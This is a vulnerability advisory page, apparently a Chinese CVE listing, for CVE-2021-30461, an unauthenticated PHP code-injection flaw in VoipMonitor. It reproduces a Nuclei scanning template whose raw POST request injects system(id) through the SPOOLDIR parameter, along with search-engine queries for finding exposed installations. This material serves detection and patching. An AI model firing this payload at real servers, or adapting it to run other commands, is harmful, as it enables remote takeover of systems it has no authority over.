CVE-2021-30461: VoipMonitor <24.61 - Remote Code Execution

日期: 2025-08-01 | 影响软件: VoipMonitor | POC: 已公开

漏洞描述

VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing remote unauthenticated users to trigger a remote PHP code execution vulnerability.

PoC代码[已公开]

id: CVE-2021-30461

info:
  name: VoipMonitor <24.61 - Remote Code Execution
  author: shifacyclewala,hackergautam
  severity: critical
  description: |
    VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing  remote unauthenticated users to trigger a remote PHP code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade VoipMonitor to version 24.61 or later to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30461
    - https://ssd-disclosure.com/ssd-advisory--voipmonitor-unauth-rce
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/openx-org/BLEN
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30461
    cwe-id: CWE-94
    epss-score: 0.93253
    epss-percentile: 0.99799
    cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: voipmonitor
    product: voipmonitor
    shodan-query:
      - http.title:"VoIPmonitor"
      - http.title:"voipmonitor"
    fofa-query: title="voipmonitor"
    google-query: intitle:"voipmonitor"
  tags: cve2021,cve,rce,voipmonitor

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        SPOOLDIR=test".system(id)."&recheck=Recheck

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "VoIPmonitor installation"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f42f5b3515642e2a1fba2e143ef7d4bd36a92f9b7f671351f1aa97bae964e5b9022032e5affa28db60f35c81bd4f75c0635d966f910a32dcca8c2fde54feaa85dee9:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30461.yaml

相关漏洞推荐